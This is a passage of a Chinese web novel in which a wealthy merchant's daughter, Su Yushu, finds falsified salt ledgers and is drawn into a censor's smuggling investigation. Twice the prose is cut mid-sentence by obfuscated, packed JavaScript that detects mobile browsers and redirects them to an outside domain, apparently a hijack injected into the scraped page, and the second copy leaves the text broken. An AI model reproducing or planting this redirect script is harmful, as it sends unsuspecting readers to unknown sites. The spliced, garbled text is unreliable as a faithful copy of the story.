小伙计年岁不大,被刘掌柜斗大的拳头揍得连哭带嚎,想躲又不敢,想挺直了又实在是疼,一时间眼泪鼻涕和血珠子混在一块儿,脸上那叫一个五彩斑斓。 “行了。”苏玉淑也知道他是做样子给自己看,她直接攥住刘掌柜的胳膊,他的手就这么尴尬地停在了空中。 “他也算知错了,做生意的地方,见了血多不吉利。”她摇摇头,发上的珠翠叮当作响,“我今天也累了,账本不看了,掌柜的且忙吧。” 说着玉淑转身就向外走,她只觉得阳光刺眼:“绿萝,来扶我。” “小姐,就这么放过他了?”绿萝气鼓鼓地坐进马车,“您看他那个样子!安正庄怎么能交到这种人手里啊!” 苏玉淑扭着头,从自己后腰处不知捣鼓些什么。 “我说小姐,您别太不拘小节了,虽然是在车里,可车夫毕竟是个男的……”绿萝压低了声音,四处看看,“您要是屁股痒痒,奴婢给您挠挠就是了。” “你说什么屁话呢。”苏玉淑瞪大了眼睛,“你是真傻还是假傻!看看这是什么。” 一本泛黄的账本就这么神奇地出现在绿萝面前,她顿时傻了眼:“小姐,你怎么弄出来的啊!” “趁乱塞衣服里了,什么账不离台,我倒要看看有什么猫腻。”苏玉淑扬了扬下巴自信一笑。绿萝最喜欢她这幅样子,骄傲得和盛放的蔷薇似的,那股子野蛮的生命力令她折服,更令她担忧。 “苏玉淑。” 她吓得一激灵:“你叫我大名干嘛?我什么都没干!你要干嘛!” 绿萝咬牙切齿地用两根手指头捏起账本:“你就把这么个馊味儿的脏东西塞进我新给你定的衣服里?” “呃……”苏玉淑尴尬地翘着嘴角,疯狂眨巴着一双眼睛,但她心里知道,完蛋。 “你今天晚上别想偷吃夜宵了,我不会给你拿了。” “不要啊!绿萝不要啊!” 马车驾着一箱哀嚎向苏府奔去,街道上方无人在意的瓦片上,一道身影迅速闪过。他闪转腾挪,好似对师城十分熟悉,只消片刻便来到一人身前。 他单膝跪下双手抱拳,声音里带着一丝得意: “少爷,有眉目了。” 4. 第四章 叶荣用过刑,上过战场,杀过人,盯着个小姑娘的活儿倒是不曾干过。也不知道自己家这位少爷犯了什么神经,他堂堂一个带刀侍卫居然要做这种阿猫阿狗都能做的事,想想也真是憋闷。 少爷想要谁的命,他去杀了便是嘛,这么麻烦干什么。 这几天这苏家小姐,吃饭睡觉看账本和爹吵架,吃饭睡觉舞剑和爹吵架,吃饭睡觉出去玩回来接着和爹吵架,这么一个疯丫头到底要看到哪天!还是京城里的公主小姐们好,又大方又端庄,走起路来如同微风拂柳,哪像她似的,静若痴呆,动若泼猴。 这苏家也没别的什么好玩的,他每天不是蹲房梁就是爬树梢,要查的事没查到,家长里短的闲话倒是听来一堆。什么苏家的三姨娘在外面自己开了个赌坊啦,什么城东的钱柜让内鬼偷啦,什么知府的五儿子不是亲生的啦……叶荣听得心里发麻脑子发蒙,也不知道这主仆两个天天凑到一起怎么那么多闲话,说到半夜三更也不嫌累。 “诶,绿萝。”苏玉淑拿了块茉莉粉乳糕塞进自己嘴里,“让你打听那个事你打听来了没?今天这个点心好吃,明天再买点。” “哪个事啊?给我尝尝。” “就杜家三小姐那个事。” 绿萝嚼着嘴里的糕点,一屁股坐在凳子上:“那没有。她家不知怎的,最近上下嘴都可严了,不过怎么想这也不是件光彩的事,不和外人说也正常。这糕点是挺好吃的,就是有点噎人,我去倒点茶水来。” 绿萝鼓着腮帮子寻觅起来,她今天白天一天都在外面,自是没时间侍奉她家小姐。苏玉淑也是的,这么大个人了,不喜欢人伺候可以自己添茶倒水嘛,真是没一点主人样子。 “呜呜嚼到了没牛……”她这边还在找着不知道被苏玉淑放到哪里的铜壶,那边就传来了快被噎死的声音。 绿萝转身望去,她家小姐正像个无头苍蝇似的满屋子乱窜,手里倒是干干净净—— “该,让你一整块全吞了。” 叶荣听见呜呜渣渣的动静,瞧瞧挑了片屋瓦来看,谁知正看见苏玉淑满屋子扑腾的模样,活像那抢食吃的大鲤鱼。他连忙咬紧了嘴角,生怕自己笑出声来。 “呜!”苏玉淑突然两眼发亮,她急慌慌地抄书桌奔去。一堆散开的书籍账本里隐隐约约露出个杯子来,那是她前两天喝水用的,仿佛记得还剩了半杯。她三步并作两步,直接飞奔到桌前,抓起杯子一饮而尽—— “呕——哕——” 苏玉淑挣扎着抬起头来,刚吐出去的糕点混着茶水,正滴在她新做的睡衣上。 对,就是绿萝亲自,一针一线缝的那一件。 绿萝痴呆呆地看着面前这场灾难,尖叫声梗在喉咙里,愣是发不出一点儿声音。 “绿萝……我知道了……”苏玉淑眼眶发红,嗓音喑哑,几缕头发披散在脸颊两侧。她用手臂擦了擦嘴,摇摇晃晃地向绿萝走过来,腰向下弯着,背还在不断地抖动,整个人看起来如同地狱里爬出来的恶鬼,正要向她索命似的。 “小,小姐……”绿萝双眼瞪得老大,大气都不敢喘。 不,不会她家小姐,也被鬼上身了吧…… “绿萝……”玉淑又咳了两下,胸口一紧,她脚下一个踉跄,径直向绿萝扑去—— “啊!!!!!不要啊!!!!!” 绿萝再醒过来,已经是第二天的白天了。 她嗓子痛的和刀片划过似的,应该是昨晚把嗓子喊破了……等等。 小姐呢!我那被鬼附身的小姐呢! 绿萝慌张向身边摸去,一个软软的东西传来温热的触感。 还好,是她家小姐正在呼呼大睡。 原来她昨晚睡在了自家小姐的床上。两人儿时常常这么做,长大之后却许久未曾这样了。床榻下扔着苏玉淑昨天吐脏了的衣服,此时玉淑正瑟缩在被子里,把自己裹得像个刚结成的蚕蛹。 “嗯……绿萝……你醒了?” “苏玉淑!你吓死我了!” “你别一睁眼就叫我大名行不行!吓都让你吓死了!谁家佣人和你一般蛮横!”她胡乱抹了一把脸,“你昨天直接倒地上了,睡得和死狗似的,我给你搬回床都没说什么,你倒嫌弃起我来了!” 绿萝翻身起来,跨过玉淑的身体,把地上的脏衣服捡起来抱在怀里: “我嫌弃你?你看看自己现在什么样,臭烘烘的,我去喊人给你放上热水,你还是好好洗洗你那粘了馊茶水的头发和身上吧!” “对!就是这个!” “你别是真中邪了。” 苏玉淑两眼直放光:“绿萝,我知道那账本哪儿有问题了!” 热气氤氲着,她的长发就这么轻轻摇曳在水里,如同墨色的水草。 “你呀,你发现了什么都得先把自己收拾好了再说。自己都打理不好,又怎么能打理好其他的事呢?你记着,以后不管遇到什么事,都得以自己为重。你说,你以后真嫁人了可怎么办呢?每天毛毛躁躁的,茶水放馊了都不知道,真要喝坏了肚子老爷又要骂你。” “嫁人你也得跟着我。”玉淑转了个身,“我和你说正事,昨天那一口馊茶虽然差点没呛死我,可是我发现一件事。你还记得我偷回来的那个账本吗?” “记得啊,怎么了?”绿萝掰着她的肩膀又给转了回来,“你别乱动,头发不好梳。” “你说,那刘掌柜的,口口声声账不离台,把账本看得多重要似的,怎么丢了个账本几天也没听见他去寻的消息呢?” “是哦……” “我偷回来本来是想看看他们的反应,里面的内容我倒是没看出什么端倪。不过幸亏昨天那一口,我却尝出来了。那几本发黄的账本根本不是旧的,而是被泼了馊茶做的旧。否则怎么会时间老的账本新,这几本近的却发黄发皱呢?” “小姐你真聪明!” “昨天你晕倒以后,我连夜又仔细翻看了一下那账本。” “小姐发现什么了?” “乍一看数目一笔一笔都对,可是你仔细看的话,有很多账目是重复的。咱们苏家虽然不经营酒楼饭馆,可据我所知,同发号这样大的饭庄一个月用盐也绝不过二十斤。我上次翻看的账本还是正月的,可我偷来这本是二月的,怎么会又买了一百斤呢?” “保不准是看盐价便宜,提前囤着呢?” 玉淑轻轻用水弹了绿萝一下:“傻丫头,咱们家是官盐呀,除非上面发话,不然价格什么时候变过?” “哎呀!小姐,我这衣裳也是新裁的,你别弄!你快说,你说完我也要告诉你一个事情。” “大不了我再给你做几身呗,反正咱俩身量差不离,干脆新做的那些你都拿去,反正我也不喜欢穿,走起路来和被捆着似的。” “得了吧小姐,您那几身衣服加起来可够我几年工钱了,我要是真穿了非让老爷打死不可。再说了,我可比你苗条。” “苗条有什么用,弱鸡似的,嘁。”苏玉淑背着她撇撇嘴,转而又绷起脸来,“且不说价格,就算是盐,囤久了也是要变味结块的,更何况人家是指着味道赚钱呢。我还发现几家酒楼,几乎在同一天买了同样斤数的盐,你说这可能吗?” “确实蹊跷啊。” “是了,那刘掌柜一定是听说我来查账,只把总数一对便是,具体每一笔算起来数量没问题就是了,谁又会仔细再看呢?” “这刘掌柜肯定有问题。”绿萝从身后扯下一条巾帕来,将玉淑的头发细细包好,又转身拿来玫瑰花水,缓缓地倒进水里,一股和缓的玫瑰花香瞬间弥漫开来,和蒸汽一起填满了整间屋子。“小姐,要不要再添点热水?” “不了,我再待一会儿就出去。我在想,这件事要不要禀告父亲。虽然说这账是我查的,可我毕竟不能直接插手家里的生意,且我们现在也没有确实的证据……”她略略沉思,有些烦闷地弹了几下水面,“还是先不说了,免得打草惊蛇。” “奴婢也这么觉得。您此时报上去,奴婢不懂生意上的事情,只是觉得就算说了,老爷也不会站在您这一边,只会说您心越来越大,保不齐还得说您偷鸡摸狗,不守女德呢。” 玉淑有点泄气:“他怎么说又不重要。” 绿萝轻轻地揉着她的肩膀道:“小姐,您又来了。老爷说的话怎么会不重要呢,他才是一家之主,他一句话就能定您的生死啊。” “要是我是个男子便好了。” 绿萝突然轻笑一声:“小姐,奴婢倒是有一个办法。” “什么?” “您可记得老爷身边的溪石?老爷生意上的事都是他来跑腿,这小子最近总围着我转,我们不妨找他打听打听?” 苏玉淑猛地回过头:“你什么时候学会的美人计?” 绿萝环顾四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457787|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周,伏在玉淑耳边轻轻说道:“小姐,刚才奴婢和你说的正事,你还记得吗?” “你说。” “昨天我直勾勾地摔倒,仰面晕过去的时候,看到房顶上有双眼睛。” 苏玉淑震惊地回过头去,正对上绿萝的眼睛。尽管日渐酷热,又浸在温水之中,她竟然不自觉地起了一身的鸡皮疙瘩,打了个冷战。她们苏府虽然不似官衙那般看管严密,可毕竟是重重安保,家丁成群,到底是什么人能丝毫不被人察觉,能夜晚盯着她的闺阁密室私自窥探?为什么这么做?是听了谁的命令这么做?难不成是刘掌柜找的人? 一时之间思绪纷杂,她竟什么都没说出口,只是呆呆地愣在水中,宛如一只窒息的河豚。 “绿萝,绿萝。”苏玉淑的声音有些颤抖。 绿萝坚定地握了握她的手:“我在。” “这两件事怕是脱不了干系,看来我这账本算是看出事来了。绿萝,你怕吗?” “小姐,我不怕。小姐去哪儿我去哪儿,小姐要我往东我绝对不往西!” “没事,没事。让我想一想。” 这两句话也不知道是说给绿萝听,还是说给自己听。苏玉淑只觉得自己的胸口里装了个大鼓一般,心脏跳动的声音是如此的震耳欲聋。她想起了去郊外放马游猎时候放箭的时候,雉鸡被追得无路可逃,扑腾在毫无遮蔽的旷野之上,一身鲜艳的羽毛是那样夺目刺眼,不知这雉鸡是否也因为自己这一身霓裳而沾沾自喜过,可如今这华美的色彩也成了它的寿衣。 玉淑还记得箭离弦之时空气发出的铮鸣声,现在她仿佛又听到了这个声音,只是这一次,她是那只没能再飞起来的雉鸡。 被一箭贯穿了胸口,逐渐浑浊的眸子,染红了的、湿哒哒的羽毛,满满软下去的脖子和僵直起来的身体。 她不想死。 她强迫自己冷静下来,眼下要尽可能的多获得些情报,有用的没用的,知己知彼方能百战百胜,不管怎么样,她都是师城首富苏家的大小姐,苏家有难危机当头,她又岂能惧战! “绿萝,给我拿件衣服来,去报了管家,说我们的屋顶有些漏风,让他找人来检查一下,切记不要多说,不要打草惊蛇。” “诶,绿萝……” 绿萝停下脚步:“怎么了小姐?” “把外面的侍女都支开,今天别让别人进我的院子。” “可是小姐……”绿萝皱紧了眉头,“就算是大白天,你一个人也不行,难保贼人不会对你做什么不利的事。要是,要是……” “有话快说,不要吞吞吐吐的。” “要是采花大盗怎么办啊!” 眼见绿萝憋的一张脸通红,苏玉淑轻轻笑道:“不会,我能自己防身,而且我觉得这个人不会是采花大盗的,你放心的去便是。” 半晌过去,院子里已是空无一人。 平日里她性子孤傲,最不受父亲待见,也没什么人巴结着,自然是清净的。只是今日绿萝刻意安排下,更是静上加静了。 苏玉淑没有梳起头发,她身着一件葱白褐的里衣,略略有些松垮的海青色的罩衫随意地搭在身上,清爽之中又显出了正室嫡女的沉稳。她没有仔细梳起头发,而是松垮地挽成一个发髻,斜搭在肩上,浅檀香色的发带同墨一般的头发缠绕在一起,恰好中和了芊然缥缈的浮游感。 她打量了一番手中利刃,虽有些旧了,可也是尝过人血的。 人的骨头硬,今天最好别把它再豁个口子。 她走到廊下,将宝剑放置手边,正襟危坐大声道: “阁下若是有话,不妨当面和玉淑说。” 除了沙沙作响的枝叶,并无人回答。 “要是钱能解决的事,想来没有人比我更有钱了。要是旁的……现下人已都支开,阁下动手便是。” 心跳声居然可以如此之快。苏玉淑此刻总算明白那句“心跳到嗓子眼儿”,她死死盯住院里,生怕哪里冒出一支冷箭,要了她的小命。 依旧无人。 看来是她多虑了。 玉淑叹了口气,既觉得松快,又莫名有些失落。她摇摇头,转身向屋里走去。 身后突然传来一阵风声,她来不及反应,只能向一旁扑去—— 一支袖箭捆着一根布条,直愣愣地钉在了门楣之上。 “子时一刻,请小姐一见。” 5. 第五章 “小姐,这么做真的可以吗?”绿萝不免担忧,“您真的要去杜家走这一趟?” 苏玉淑叹了口气,真当她喜欢去趟杜家那滩浑水呢?可她又有什么办法。 如今整个苏家都被人拿在了手上,这时候除了乖乖听话,也没有别的什么办法。不过她这一趟也不是白走的,正所谓天下熙熙皆为利来,天下攘攘皆为利往,她苏大小姐也绝对不做赔本的生意,此刻无非是共同的利益共同的敌人摆在面前,纵使是刀山火海也不得不往下跳就是了。 “等我干完这一票大的,我就和他一刀两断来个生死不见。” 看见自家小姐这副咬牙切齿的样子,绿萝也不敢多说什么。她只知道那一夜后,玉淑就每天像个热锅上的蚂蚱,巴不得天天蹦到老爷跟前打听些什么。要不是老爷这几天去瓦州跑那一趟生意,怕是这家里都要被她翻了个遍了。 不过这几天,夫人倒是很高兴。小姐平时不是自己独来独往,就是带着她们几个近身的丫鬟游山玩水,甚少陪伴夫人身边。这几天老爷不在,小姐倒是和夫人说了很久的话,也算是过了两天安生日子。 苏玉淑实在是不爱坐马车,晃得她脑袋直发晕。她又叹了口气,突然想起来了什么似的拍了拍绿萝的手: “绿萝,前几天我去母亲那里向她把石竹要了回来,过几天你去接应一下。” 她一下子兴奋起来:“石竹?她要回来了?那白梅呢?” 玉淑摇摇头:“白梅不行,母亲说还要在身边留些日子。” 绿萝心下一沉,但又故作轻松地笑了笑:“小姐,能回来一个是一个,这到底是高兴事。再说了,都在一个宅子里,总有一天我们几个都会回到你身边的。” 她们从小一起长大,玉淑不受家里重视又性格倔强,都是她们几个陪伴着拉扯着一起长起来的。老爷瞧不得她们的亲近样子,故意将几人拆开来,如今身边只留了绿萝一个贴身女使,虽然很多事做起来方便,但长夜漫漫孤灯熬油时却往往更觉寂寞。 绿萝突然探出身去,叫停了马车。她回过头来莞尔一笑: “小姐,你想不想下去走走?我让马夫把车套了去杜家后院,咱们走过去透透气,怎么样?” 苏玉淑立刻打起精神:“真的?走!” 车水马龙之间,玉淑只觉得恍惚。只是短短数日,不知为何却有种时过境迁的悲凉感。之前只觉得挥洒人间无不快活,现在虽然置身于闹市之中,却只觉得吵闹。她苏家经营至今,能积累起如此家业实属不易,如今出了这样一档子事,虽然她不满父亲暴躁哥哥昏庸,可也不能眼瞧着自家高楼塌,让别家捡了大便宜。 尤其是这杜家。 她打量着这套不算陌生的街道,布局倒是大抵类似,只不过店面铺子规格都偏小了些,显得有些拥挤。这边的铺子以茶店赌场居多,不免有些过于吵闹了。她早就听说杜家近些年来是靠赌彩发了家,只是不想他们居然就住在这市井之地,也不知是想守着自家产业,还是在这中心地带,才能显得自家实力超群。 “小姐,再往前走个百来米就到了。”绿萝低着头,“这两边的赌场里都是些什么人啊,盯得奴婢浑身发毛。” 苏玉淑把她的手牵起来,挽在自己臂弯里:“没事,别怕。” “我们还是快点走,杜——啊!!” 一盆水就这样泼在二人脚边,吓得绿萝和小鸡崽似的慌乱跳起来,差点没扑进玉淑怀里。她还没从惊吓里缓过来,便急吼吼地窜到小姐身前: “你干什么!你是瞎了不成,看不见我家小姐从这里过吗!” 泼水的大汉依着门柱,轻蔑地笑了笑:“哟,哪个秦楼楚馆的小姐啊?是青莲院啊,还是红霜馆啊?” “你个不识好歹的狗东西,你老子娘才是那鸡窝里出来的呢!”绿萝此时才像一只护崽的老母鸡,扑腾着就往前蹦,“你那两眼珠子不要就扔地上踩个响,我呸!什么东西,别哪天把自己赌没了,死了都没地方埋!” “嘿你这死丫头片子!”那大汉狠狠往地上啐了一口,甩着膀子就向两人靠来,“两个小娘们儿长得倒是俊俏,今天爷爷就拿你们开开刀,干脆卖了你们两个换点银子!” “你敢!” 这男人比她二人几近高上一头,绿萝虽怕却也没有丝毫退缩的意思。大不了就鱼死网破,想欺负她家的姑娘,就俩字,没门儿! 那男人听到一声厉喝,非但没有停下,反而快步向二人走来。眼见他行至身前,他伸手就向绿萝胸口扯去。说时迟那时快,苏玉淑握着绿萝的肩膀,一把将她拽到一边,自己向前一步,反手抓住那大汉的手,果断向外一拧—— 嘎嘣。 整条巷子里顿时充满了男人的惨叫声,玉淑没有松手,腿上一个用力,直直朝那男人的膝盖踹了过去。男人吃痛跪倒在地,握着自己的手腕来回翻滚,只能从喉咙里挤出点破碎的呜咽声。 “滚。” 苏玉淑轻轻留下一个字,牵着绿萝的手向前走去。 “苏家的臭娘们儿!我饶不了你!你,你给我等着!” 她身体一愣,回过头去冷冷瞧了那男人一眼。绿萝从未见过自家小姐露出这种表情,那眼神冷得如同腊月的寒风,看得人直起鸡皮疙瘩。 “好,我等着。” 说罢,她再没有回头,而是一路上面若寒霜地牵着绿萝,径直走到杜家的大门之前。 杜家大门好不气派,宽大的门头着最高档的朱红漆,一看便知所住之人地位不凡。门头精巧雕琢着祥瑞的纹样,描金的门匾上书“杜府”二字,门枕和门簪也多石雕,花纹繁杂精巧,十分考验工匠的技艺。两处门钹均为镏金狮首,好不威严。 只是如此多的繁杂样式都居于一门,倒是显得有些俗气了。 “烦请通报一声,苏家嫡女苏玉淑前来拜访杜家大小姐。”绿萝上前客气行礼,顺手向门房手里塞了一小块银子,并着甜甜一笑。 “是……啊是。”门房小童一愣,继而有些结巴道,“是,老爷已经吩咐下来了,您自管直接进去,大小姐已经恭候多时了。” 这杜家的院子虽然不比苏家的大,但也可以说是格局规整,有山有水,一瞧就是有大师前来指点过风水。杜家与苏家同为商贾之家,虽是近些年来的后起之秀,但据说也是钱财丰厚,大有赶超苏家的趋势。但至于这钱干不干净,那就两说了。 “苏家妹妹,你来啦。”杜家大小姐大老远就迎着过来了,她身着一件木槿色绣花小袖襦衣,外面一件柳绿三经绞罗罩衫,显得整个人身姿绰约,温婉可人。 她亲切地拉起玉淑的手:“我可等你好久了,平日里也难得相见,今天怎得想起来光临寒舍啦?” 苏玉淑有些害羞,尽管她平日大大咧咧,可是如此风姿的女子对她这样热情,她也有点不好意思:“杜家姐姐,我们家的几间铺子最近来了几个首饰师傅,打了许多簪子。妹妹我不善研究这些,还想请姐姐看看呢。绿萝,”她招招手,绿萝旋即拿出随身携带的妆奁,“姐姐您看,一应时兴的胭脂水粉和首饰,我都给您带来了,还请您掌掌眼呢。” “哎哟,这怎么好意思的。”杜蕊琴瞟了两眼,又连忙看向苏玉淑,“妹妹还是进去说话,外卖日头又晒人又多,怕是不方便。” “是,都听姐姐的。”苏玉淑亲自拿过箱子捧在手里,足可见其诚心。 二人跟着杜家大小姐绕过一小片竹林,影影绰绰的倒是和富丽堂皇的宅子不太和谐,尤其是里面的几块巨石,摆放得极其不过规则,引得苏玉淑不由得多看了两眼。 杜蕊琴笑笑:“家父迷信这个呢。这片林子是找风水先生看了,说是要用石头摆个什么阵,这样才能留住财气,父亲自是欣然答允的。” “姐姐家里最近生意这样好,足以见这位先生金口玉言呢。” “我呀,不像妹妹你。”她的眼神明明暗暗,“我不擅长这些管账打点的事,家里赚多赚少的无非就是过个安稳日子罢了,我也只求以后能寻得个好人家,没什么宏图大志的。” “姐姐这是什么话。”苏玉淑笑笑,“姐姐这样美貌动人,我看了都觉得心动。又速来听闻姐姐女红甚好,如今一见更觉得气度非凡,真是敬佩。不过话说回来……姐姐提起嫁人,我倒也惦记自己的终身大事。” “哦?妹妹不妨说说?” 苏玉淑眉头微蹙,眼底似有化不开的浓雾愁云:“姐姐您说我管账厉害,那就是笑我抛头露面了。妹妹这粗鄙的名声在外,怎么才能找到好夫婿呀。姐姐可否知道指点您家这位先生姓甚名谁,妹妹倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“妹妹你看,这只银鎏金如意簪样子倒是好,可是用银未免小气,也难免失色,在我看来,不如换成纯金更好。” “再看这一支琉璃翡翠梅花飞簪,这便是好多了,材质已经是无可挑剔,琉璃也透亮,翡翠无棉无絮,只是这颜色不够富丽堂皇,一水儿的绿色,未免寡淡了。这支玛瑙步摇的珠子可以再磨得小些,那样才显得精致。还有这宝蓝点翠珠钗……” “这支不好在哪里呢?” 杜蕊琴摇摇头:“哪里是不好呀,而是姐姐我实在喜欢呢。” 苏玉淑爽朗一笑:“蕊琴姐姐,这些都是送给您的呢!若是您肯戴在头上,不知道多少少女见了都要羡慕,可比戴在我这粗人的头上强多了。您既然最喜欢它,又给我讲了许多有用的话,妹妹保证,这支宝蓝点翠珠钗整个师城都不会再有第二支。” “这,这姐姐如何受用……”杜蕊琴又惊又喜,嘴上虽然托词着,手里却是牢牢攥紧了发钗,“那,那你在这里等等我,我去给你取点东西来。” 玉淑待在房中无聊,突然想到什么似的,向房梁上又看了看,果不其然对上一只眼睛,就知道叶荣又翘了瓦片偷窥。她翻了个白眼,自顾自端起茶水喝了几口。 反正晒着热着的又不是她,谁爱吃苦谁去呗。 “你们先都出去吧。” 苏玉淑抬头望去,杜蕊琴正遣了身边的下人。她使了个颜色,绿萝行礼后也离开了房间,此时屋内只剩二人。 杜蕊琴将怀里的盒子轻轻放下,一脸神秘:“玉淑妹妹,这是我新得的好东西,妹妹如此大方,姐姐也不能太小气了不是。” “是什么好东西呀,要把别人都支开?” 她嘴角虽然挂笑,眼睛却向下弯着:“妹妹看看呢?” 杜蕊琴将盒子打开,几块粉白色的晶体正安静地躺在盒子里,看上去不像是值钱的矿物,内里十分浑浊,表面也很粗糙,闻上去还有股淡淡的,说不上来的味道。 “我见妹妹不喜金玉之物,这东西送给你再好不过了。你可以将它放在暖炉之中,隔火温来安枕,或者做香石也可,只是一样,不能碰水。” 苏玉淑不解:“蕊琴姐,这究竟是什么?” 杜蕊琴将盖子盖好,直勾勾地盯着她的眼睛说道: “盐晶。” 6. 第六 章 月夜正明之时,他就这样站在树下,温和地冲她笑着: “你想不想我放过苏家?” 她浑身一震,动弹不得。 男子从黑暗中向她缓步走来,他身后还跟着一个身量稍瘦的少年,苏玉淑被他的话惊得不轻,要知道这可是在师城,在她苏家的院子里,怎会有人说话如此嚣张? 她轻蔑一笑:“不如先问问我要不要放过你。” “丫头片子。”身后少年嘟囔一句,“少爷,不如杀了。” 苏玉淑挑了挑眉:“偷听偷看的小登徒子说什么呢?大点儿声我听不见。” “叶荣,退下。”男人一句话,那少年便消失在夜色之中。苏玉淑甚至没有看清他的身影,仿佛这个人不曾出现过一般。 “让苏小姐看笑话了,这孩子从小被我宠惯了。” “无妨。我更感兴趣的是您刚才的话。” 男人又笑了笑:“我喜欢和直爽人说话,一点儿都不费脑子。鄙人姓林,林长亭,苏小姐唤我长亭便是。” “不了,林少爷,我和喜欢窥探女子闺阁之人并无那般亲昵。我也不喜欢弯弯绕绕的,林少爷不如有话直说。” “叶荣冒犯小姐是领了我的命令,也实属无奈之举,还望小姐海涵。在下朝中御史,奉了圣上之命前来师城。” 苏玉淑不由自主地后退一步:“御史大人也要派人刺探的案子,我苏家又怎么会牵涉其中?” “苏小姐何等聪明,昨晚不已经是窥见端倪了吗?那做旧的账本……苏小姐,恕我直言,苏家兴于盐庄,可千万不要也毁于盐庄才是。” “若林大人所说只是这件事,那还是不劳烦您的好。我自会查明禀告家父,我们苏家若是出了内贼,我们自己定然也能够处置的了。” 林长亭摇摇头:“恐怕不行。” “此言何意?” “苏小姐还不知道吧。”他的眉眼之间夹杂着几分戏谑,如同一只苍鹰盯着猎物一般眼底尽是筹谋,“私盐的事,岂能是你家内之事呢?更何况这私盐……是从你们苏家出来的。” “苏小姐若想救苏家于水火,我奉劝您还是乖乖听话,毕竟做了他人棋子总比抄家灭门的无妄之灾强一些,不是吗?” 林长亭的语气冷得和寒冬腊月的霜雪一般,尽管笑容从未从他的脸上褪去,可这不容人拒绝的威胁足以证明,这是一个多么有城府和算计的人。 苏玉淑只觉得脚下生根似的,竟动弹不了半分。她和那早市里被拎上来现杀的鱼一样,嘴张了又张,一个音节都挤不出来。她膝盖不免一软,不自主地向下看去,脚下竟不知何时出现了一个巨大的黑洞,里面冒出只无数只眼睛,有的笑,有的哭,就这么生生地盯着她,看着她…… “小姐!小姐!您醒醒!” “啊!!” 苏玉淑伴着尖叫一下子坐直起来,她脑子昏昏沉沉的像刚从水里捞出来,只觉得身上湿哒哒的黏得难受。绿萝正坐在床边一脸担心:“小姐,你睡着了以后就一直扑腾,是不是做噩梦了?” “梦……” 她痴呆呆地看着绿萝,对,是梦。 可又不是梦。 如果说林长亭是毒蛇,她苏家此刻就是被毒蛇盯上的猎物。早知如此,当初宁可不作出那豪迈样子在院子里喊人对峙了。 “绿萝,去给我拿些兰英酒来……” 她此刻脸色惨白,像是受了极大的惊吓。绿萝不免担忧,可她还是什么都没说,只是转身去外面取些酒水和吃食。从自己禀告小姐有人偷窥的那夜开始,她就一直睡不安稳,一改平时那副意气风发谁也不看在眼里的样子,整日里愁容满面。绿萝不知道发生了什么,只知道应该更用心地照顾好她,免得她着了什么病才好。 今天一出杜家的门,小姐的脸色就不痛快,一到院子里便沉睡过去。绿萝倒是听说了厨房今日做了些新菜样,干脆取兰英酒的时候一并带了回来。这新菜是取了去年晾晒的杏仁烤制,再将它细细地磨成粉,合着牛奶一起做成的点心,细腻嫩滑又清香无比。小姐一向是个没心没肺的,兴许吃了这个新做的东西,心里的气儿也就消了。 一想到小姐吃到好吃的时候那副兴奋的样子,绿萝脚下加紧了速度。她兴冲冲地捧着食盒,几乎是一路小跑着回了自己院子。 “小——”她身子一怔,“大胆!你是谁!你怎么会在我们院子里!” 她们院子正中,一名少年正伫立其间。他听闻背后的声音,转身向绿萝行礼: “绿萝姐姐,我家少爷求见苏小姐,还请您通报一声。” “请人之前先自报家门!”绿萝把食篮往旁边一放,转手拿起扫把冲着那少年,“说!你怎么来的!哪里来的!不然别怪我不客气!” “这苏家的女子都这么威猛吗……”少年腹诽着叹了口气,身体却十分老实:“在下叶荣,是林御史的侍卫,还请姐姐通报一声,请苏小姐前来相见。” 绿萝抖了抖手中的“武器”:“什么御史!没听说过!再说了这里只有你一人,我们小姐去哪里见!快滚,不然我叫人了!” “姐姐通报了,我家少爷自然就出现了。” “快滚——” “绿萝!” 苏玉淑闻声而出,她还是叫晚了。 绿萝抄着扫把,直愣愣地朝少年的头拍去。叶荣也不躲,就站在那里被拍了个灰头土脸,脑袋上还粘了几片落叶。 时间仿佛暂停了一般,三个人就这么站在院子里,和三个石像一样,没有人敢打破死一般的宁静。 啪,啪,啪。 清脆的掌声从房顶处传来,三个石像仿佛被赋予了生命似的,僵硬地抬起头来。 “你们三个凑在一起,可真真是一出好戏,精彩。” “林长亭,你这么喜欢偷窥,还真是不要脸。”苏玉淑揶揄道,“怎么,要等叶荣被我们打死了你再来收尸吗?” “要是他能被你们两个弄死,那死了也罢。”林长亭笑笑,“苏小姐说我不要脸,那就是抬举我了。” “已经是傍晚,林大人没什么事我可不留您吃饭了。”苏玉淑转身就向屋内走去,虽然已经入夏,可晚风还是稍稍带了点凉气。她的头发柔柔地披散在脑后,丁香色的薄罩衫如同仙女的衣袂般轻轻飘起,晚霞如同泼洒而下的金墨淌在玉淑的身上,加之她略显疲惫的素颜,全然没有了平日里那股英气勃发盛气凌人的模样。 “苏小姐稍等。”林长亭略略沉思,“苏小姐还是回屋取件披帛来再说吧。” 苏玉淑回头看了看站在落日下的男人,她还从未仔细看过他。林长亭身材颀长,面容略有些瘦削,一身玄色在他身上尤其的相配,显得人挺拔而冷淡。 苏玉淑叹了口气,她只觉得自己好累:“算了……你,你进来吧。” 林长亭一怔:“什么?” “你脑袋上的金冠晃的我眼睛疼。进不进来,不进来就带着叶荣赶紧走。” 他没再说些什么,只是向着苏玉淑的背影轻轻行了礼。她屋内的陈设倒是简单,虽是首富之女,可并未像杜家似的极尽奢靡之风。 “绿萝,上茶。” 绿萝撇了两人一眼,没好气地摆了茶水,然后又紧紧握着扫把站在玉淑身后,两只眼睛死死瞪着二人,活像一只护崽的老母鸡。 